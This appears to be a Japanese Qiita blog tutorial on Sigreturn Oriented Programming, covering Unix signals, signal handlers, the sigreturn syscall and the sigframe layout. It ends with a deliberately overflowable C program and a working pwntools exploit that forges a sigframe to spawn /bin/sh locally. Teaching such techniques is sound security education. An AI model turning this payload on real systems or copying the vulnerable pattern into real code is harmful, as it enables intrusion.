1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

まえがき

SROP(Sigreturn Oriented Programming)について前提知識からまとめる
本記事では以下の概念について扱う。扱う情報に関してカーネルレベルでの実装には、必要がない限り踏み込まない。目的はSROPの理解である

  • シグナル
  • シグナルハンドラ
  • Sigreturnシステムコール
  • SROP
    なお、ROP(Return Oriented Programming)については理解している前提で話を進める
    誤字脱字、誤情報などがあれば報告してほしい

Sigreturn Oriented Programmingとは

sigreturn というシステムコールを使用して、少ないガジェットで、ほぼすべてのレジスタを書き換えるROPのテクニック
以下に必要な知識を順番にまとめる

シグナルとは

シグナル: signal)とは、Unix系POSIX標準に類似の)オペレーティングシステム (OS) における、限定的なプロセス間通信であり、プロセスに対し非同期でイベントの発生を伝える機構である。
wikipediaより引用

シグナルの例

  • SIGINT: ユーザーがCtrl+Cを押したときに送信される
  • SIGTERM: プロセスの終了を要求するために送信される。killコマンドを使うことでユーザーから送信できる
  • SIGKILL: 強制的にプロセスを終了させる
  • SIGSEGV: 無効なメモリアクセスが発生した際に送信される。例えばセグメンテーションフォールトが起きた際など

シグナルの処理の流れ

  1. プロセスがシグナルを受信する
  2. プロセスの処理を中断。その時点でのコンテキストを保存
  3. カーネルがシグナルを処理
  4. コンテキストを復元。中断した位置から処理を再開

Sigreturn Oriented Programmingでは、この流れのうちコンテキストを復元する箇所が肝になる
基本的には、カーネルはシグナルをシグナルごとに定まる標準動作で処理する
ユーザーがシグナルに対する動作を定義し、設定していた場合、その処理に従う

シグナル名

kill -lコマンドを使用することでシグナル番号とシグナル名の一覧を確認することができる

kill -l
 1) SIGHUP       2) SIGINT       3) SIGQUIT      4) SIGILL       5) SIGTRAP
 6) SIGABRT      7) SIGBUS       8) SIGFPE       9) SIGKILL     10) SIGUSR1
11) SIGSEGV     12) SIGUSR2     13) SIGPIPE     14) SIGALRM     15) SIGTERM
16) SIGSTKFLT   17) SIGCHLD     18) SIGCONT     19) SIGSTOP     20) SIGTSTP
21) SIGTTIN     22) SIGTTOU     23) SIGURG      24) SIGXCPU     25) SIGXFSZ
26) SIGVTALRM   27) SIGPROF     28) SIGWINCH    29) SIGIO       30) SIGPWR
31) SIGSYS      34) SIGRTMIN    35) SIGRTMIN+1  36) SIGRTMIN+2  37) SIGRTMIN+3
38) SIGRTMIN+4  39) SIGRTMIN+5  40) SIGRTMIN+6  41) SIGRTMIN+7  42) SIGRTMIN+8
43) SIGRTMIN+9  44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9  56) SIGRTMAX-8  57) SIGRTMAX-7
58) SIGRTMAX-6  59) SIGRTMAX-5  60) SIGRTMAX-4  61) SIGRTMAX-3  62) SIGRTMAX-2
63) SIGRTMAX-1  64) SIGRTMAX

シグナルを送信することでOSはプロセスの処理に対して割り込むことができる。

シグナルハンドラとは

シグナルハンドラとは、プロセスがシグナルを受け取った際に行う処理をユーザーで定義することのできるものである

シグナルハンドラの実装例

以下のような形でシグナルハンドラを実装することができる
この場合はCtrl+Cでプロセスを終了する前に、handle_sigint関数が実行される。exit(0)をコメントアウトするとCtrl+Cを入力してもプロセスが終了しなくなる

#include <stdio.h>
#include <signal.h>
#include <stdlib.h>

void handle_sigint(int sig) {
    printf("Caught signal %d\n", sig);
    exit(0);
}

int main() {
    // SIGINTシグナルのハンドラを設定
    signal(SIGINT, handle_sigint);

    while (1) {
        printf("Running...\n");
        sleep(1);
    }
    return 0;
}

sigreturnとは

Sigreturnとは、Unix系のOSにおいて、シグナルハンドルからの復帰に使用されるシステムコールのこと
sigreturn(2) Linux manual page
前述したように、プロセスがシグナルを受信すると割り込みが発生する
そして、割り込み処理が終わった後に、割り込まれた位置から処理を再開する
中断された位置から処理を再開するためには、プロセス中断時のスタックやレジスタの情報を保持しておき、再開時に復元する必要がある
この復元に使用されるシステムコールがsigreturnである

sigreturnの処理

sigreturnが呼ばれると、スタック上に配置されている"sigframe"が参照され、これによってコンテキストの復元を行う

であるならば、sigreturnを単体で呼び出したうえで、スタック上に偽のsigframeを配置すれば、ほぼすべてのレジスタの中身を好きに書き換えることができるのではないか? というのがSROPの仕組みとなる

Sigreturn Oriented Programming

遂に本題のSROPの話に入る
sigreturnを使用すれば多くのガジェットがなくとも、様々なレジスタの値を書き換えることができる
ただし、SROPをするには以下の条件が必要である

  • raxを書き換え可能であること
    • システムコール番号を設定するため
  • syscall, もしくはint 0x80のガジェットがあること
    • とにかくシステムコールが呼べればよい
  • スタックに十分な書き込み可能なスペースがあること
    • sigframeを書き込むため。sigframeはそこそこ大きい

また、sigframeがスタック上でどのように配置されるかについても把握しておく必要がある
sigframeは以下のように配置される

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

出典: Backdoorctf Funsignals

Exploitation

以下のコードを例に試してみる

static const char* shell = "/bin/sh";

int set_eax() {  return 15; }
void fire()   {     asm("syscall");    }

int main() {
  char buf[30];
  const int read_b = read(0, buf, 1000);
  return 0;
}

SROPに必要なガジェットとBoFを用意した
以下のコマンドでコンパイルする

gcc srop.c -no-pie -fno-stack-protector -o chal.out

攻撃にはおなじみpwntoolsを使用する。sigframeを人力で作るのは面倒だし難しいのでpwntoolsに任せる

from pwn import *

context.arch = "amd64"

io = process("./chal.out")
elf = ELF("./chal.out")

set_eax = elf.symbols["set_eax"]
syscall = elf.symbols["fire"] + 8
binsh = next(elf.search(b"/bin/sh"))

payload = b"A" * 0x38
payload += p64(set_eax)
payload += p64(syscall)

frame = SigreturnFrame()
frame.rip = syscall
frame.rdi = binsh
frame.rax = 0x3B

payload += bytes(frame)

io.sendline(payload)
io.interactive()

SigreturnFrame()sigframeを作成することができる
詳しいドキュメントは以下にある

$ python3 solve.py
[+] Starting local process './chal.out': pid 120162
[*] '/home/nanakusa/CTF/pwn_tech/srop/chal.out'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    SHSTK:    Enabled
    IBT:      Enabled
[*] Switching to interactive mode
$ ls
chal.out  solve.py  srop.c

実行するとシェルを奪うことができた

参考文献

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?